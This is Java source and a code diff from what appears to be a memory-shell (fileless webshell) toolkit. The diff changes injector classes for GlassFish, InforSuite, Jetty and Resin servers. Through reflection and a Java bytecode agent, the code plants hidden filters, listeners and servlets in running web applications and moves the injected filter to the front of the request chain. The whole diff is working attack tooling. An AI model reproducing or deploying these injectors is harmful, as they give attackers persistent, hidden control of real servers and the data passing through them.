for (Object exportedProvider : getExportedProviders()) {
try {
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
if (objInvokeNoArgs != null) {
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
}
} catch (Exception e3) {
}
}
} catch (Exception e4) {
}
return arrayList;
}
private Collection<?> getExportedProviders() {
try {
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
} catch (Exception e) {
try {
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String resolveServiceAddresses(String str) {
String strNormalizePath = normalizePath(str);
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
if (objFindRegisteredService == null) {
objFindRegisteredService = findRegisteredService(strNormalizePath);
}
if (objFindRegisteredService == null) {
return strNormalizePath;
}
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
if (!listExtractExportedUrls.isEmpty()) {
return formatUrls(listExtractExportedUrls);
}
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
if (listResolveProtocols.isEmpty()) {
return strNormalizePath;
}
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
}
private Object findRegisteredService(String str) {
for (Object obj : getRegisteredServices()) {
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
return obj;
}
}
return null;
}
private List<?> extractExportedUrls(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
if (!list.isEmpty()) {
return list;
}
List<?> list2 = toList(getFieldValue(obj, "exporters"));
if (list2.isEmpty()) {
return new ArrayList<>();
}
List<Object> arrayList = new ArrayList<>();
for (Object exporter : list2) {
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
if (objInvokeNoArgs != null) {
arrayList.add(objInvokeNoArgs);
}
}
return arrayList;
}
private List<?> resolveProtocols(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
}
private Object invokeNoArgs(Object obj, String str) {
if (obj == null) {
return null;
}
try {
return obj.getClass().getMethod(str).invoke(obj);
} catch (Exception e) {
return null;
}
}
private Object invokeStaticNoArgs(Class<?> cls, String str) {
try {
return cls.getMethod(str).invoke(null);
} catch (Exception e) {
return null;
}
}
private Object getFieldValue(Object obj, String str) {
if (obj == null) {
return null;
}
Class<?> superclass = obj.getClass();
while (true) {
Class<?> cls = superclass;
if (cls == null) {
return null;
}
try {
Field declaredField = cls.getDeclaredField(str);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
superclass = cls.getSuperclass();
}
}
}
private List<?> toList(Object obj) {
Object value = extractOptionalValue(obj);
if (value instanceof Collection) {
return new ArrayList<>((Collection<?>) value);
}
if (value instanceof Map) {
return new ArrayList<>(((Map<?, ?>) value).values());
}
return new ArrayList<>();
}
private Object extractOptionalValue(Object obj) {
if (obj instanceof Optional) {
return ((Optional<?>) obj).orElse(null);
}
return obj;
}
private Object firstElement(List<?> list) {
if (list.isEmpty()) {
return null;
}
return list.get(0);
}
private ProviderConfig castProviderConfig(Object obj) {
if (obj instanceof ProviderConfig) {
return (ProviderConfig) obj;
}
return null;
}
private ApplicationConfig castApplicationConfig(Object obj) {
if (obj instanceof ApplicationConfig) {
return (ApplicationConfig) obj;
}
return null;
}
private List<RegistryConfig> castRegistries(List<?> list) {
return list.stream()
.filter(RegistryConfig.class::isInstance)
.map(RegistryConfig.class::cast)
.collect(Collectors.toList());
}
private Object resolveConfigManager() {
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
if (objInvokeStaticNoArgs != null) {
return objInvokeStaticNoArgs;
}
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
}
private String formatUrls(List<?> list) {
return list.stream()
.map(this::formatUrl)
.collect(Collectors.joining(", "));
}
private String formatProtocolAddresses(List<?> list, String str) {
return list.stream()
.map(obj -> formatProtocolAddress(obj, str))
.collect(Collectors.joining(", "));
}
private String formatUrl(Object obj) {
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
}
private String formatProtocolAddress(Object obj, String str) {
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
}
private String stringValue(Object obj, String str) {
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
}
private Integer integerValue(Object obj) {
if (obj instanceof Number) {
return Integer.valueOf(((Number) obj).intValue());
}
return null;
}
private List<ProtocolConfig> castProtocols(List<?> list) {
return list.stream()
.filter(ProtocolConfig.class::isInstance)
.map(ProtocolConfig.class::cast)
.collect(Collectors.toList());
}
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
addProtocols(linkedHashMap, collection);
addProtocols(linkedHashMap, collection2);
return new ArrayList<>(linkedHashMap.values());
}
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
if (collection == null) {
return;
}
for (ProtocolConfig protocolConfig : collection) {
if (protocolConfig != null) {
map.put(protocolKey(protocolConfig), protocolConfig);
}
}
}
private String protocolKey(ProtocolConfig protocolConfig) {
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
}
private String getErrorMessage(Throwable th) {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
th.printStackTrace(printStream);
return byteArrayOutputStream.toString();
} catch (IOException e) {
return String.valueOf(th);
}
}
}
@@ -7,7 +7,10 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -40,7 +43,7 @@ public class GlassFishFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -126,15 +129,18 @@ public class GlassFishFilterInjector {
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -145,19 +151,16 @@ public class GlassFishFilterInjector {
} }
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
Constructor<?>[] constructors;
try { try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) { } catch (Exception e) {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
try {
// v7.0.0 以上 // addFilterMapFirst
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
} catch (Exception e) { filterMaps.add(0, filterMap);
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -228,21 +231,39 @@ public class GlassFishFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass(); for (Class<?> clazz = obj.getClass();
while (clazz != Object.class) { clazz != Object.class;
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); return clazz.getDeclaredField(name);
field.setAccessible(true); } catch (NoSuchFieldException ignored) {
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
Object filterMap = filterMapClass.newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// addFilterMapFirst
try { try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); Object filterMaps = getFieldValue(context, "filterMaps");
if (filterMaps instanceof List) {
// InforSuite9
((List<Object>) filterMaps).add(0, filterMap);
}
} catch (Exception e) { } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); // InforSuite10
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
} }
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -192,52 +203,54 @@ public class InforSuiteFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, fieldName); for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} }
@SuppressWarnings("all")
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass(); Field field = getField(obj, fieldName);
while (clazz != null) { field.setAccessible(true);
try { field.set(obj, value);
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -44,7 +42,7 @@ public class JettyFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -86,68 +84,53 @@ public class JettyFilterInjector {
return; return;
} }
String[] classNames = new String[]{ String[][] filterHolderClassNames = new String[][]{
"org.eclipse.jetty.servlet.FilterHolder", new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
"org.eclipse.jetty.ee8.servlet.FilterHolder", new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
"org.eclipse.jetty.ee9.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
"org.eclipse.jetty.ee10.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
"org.eclipse.jetty.ee11.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
"org.mortbay.jetty.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
}; };
Class<?> filterHolderClass = null; Class<?> filterHolderClass = null;
Class<?> filterMappingClass = null;
for (String className : classNames) { for (String[] classNames : filterHolderClassNames) {
try { try {
filterHolderClass = context.getClass().getClassLoader().loadClass(className); filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
} }
if (filterHolderClass == null) { if (filterHolderClass == null || filterMappingClass == null) {
throw new ClassNotFoundException("FilterHodler"); throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
} }
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class); Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filter.getClass()); Object filterHolder = constructor.newInstance(filter.getClass());
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
moveFilterToFirst(servletHandler);
invokeMethod(servletHandler, "invalidateChainsCache");
}
private void moveFilterToFirst(Object servletHandler) throws Exception { invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
int filterLength;
if (filterMaps.getClass().isArray()) { Object filterMapping = filterMappingClass.getConstructor().newInstance();
filterLength = Array.getLength(filterMaps); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
for (int i = 0; i < filterLength; i++) { invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
Object filter = Array.get(filterMaps, i); invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) { Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
reorderedFilters.add(0, filter); Object[] newMappings = null;
} else { if (mappings == null || Array.getLength(mappings) == 0) {
reorderedFilters.add(filter); newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
} } else {
} int length = Array.getLength(mappings);
for (int i = 0; i < filterLength; i++) { newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
Array.set(filterMaps, i, reorderedFilters.get(i)); System.arraycopy(mappings, 0, newMappings, 1, length);
}
} else if (filterMaps instanceof ArrayList) {
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
for (Object filter : filterList) {
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
filterList.clear();
filterList.addAll(reorderedFilters);
} }
newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache");
} }
@Override @Override
@@ -8,7 +8,10 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -29,7 +32,7 @@ public class JettyListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -42,7 +40,7 @@ public class JettyServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26 * @since 2025/3/26
*/ */
public class ResinFilterChainAgentInjector implements ClassFileTransformer { public class ResinFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter"; private static final String TARGET_METHOD_NAME = "doFilter";
private static final String[] TARGET_CLASSES = new String[]{
"com/caucho/server/http/FilterChainFilter",
"com/caucho/server/dispatch/FilterFilterChain",
};
public static String getClassName() { public static String getClassName() {
return "{{advisorName}}"; return "{{advisorName}}";
} }
@@ -38,8 +40,10 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.addTransformer(new ResinFilterChainAgentInjector(), true); inst.addTransformer(new ResinFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) { for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { for (String targetClass : TARGET_CLASSES) {
inst.retransformClasses(allLoadedClass); if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
} }
} }
} }
@@ -48,22 +52,24 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all") @SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) { for (String targetClass : TARGET_CLASSES) {
defineTargetClass(loader); if (className.equals(targetClass)) {
try { defineTargetClass(loader);
ClassReader cr = new ClassReader(bytes); try {
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { ClassReader cr = new ClassReader(bytes);
@Override ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
protected ClassLoader getClassLoader() { @Override
return loader; protected ClassLoader getClassLoader() {
} return loader;
}; }
ClassVisitor cv = getClassVisitor(cw); };
cr.accept(cv, ClassReader.EXPAND_FRAMES); ClassVisitor cv = getClassVisitor(cw);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray(); System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
} catch (Exception e) { return cw.toByteArray();
e.printStackTrace(); } catch (Exception e) {
e.printStackTrace();
}
} }
} }
return bytes; return bytes;
@@ -6,7 +6,10 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -39,7 +42,7 @@ public class ResinFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -136,6 +139,11 @@ public class ResinFilterInjector {
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(urlPattern, "init", null, null); invokeMethod(urlPattern, "init", null, null);
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
filterMappings.remove(filterMappingImpl);
filterMappings.add(0, filterMappingImpl);
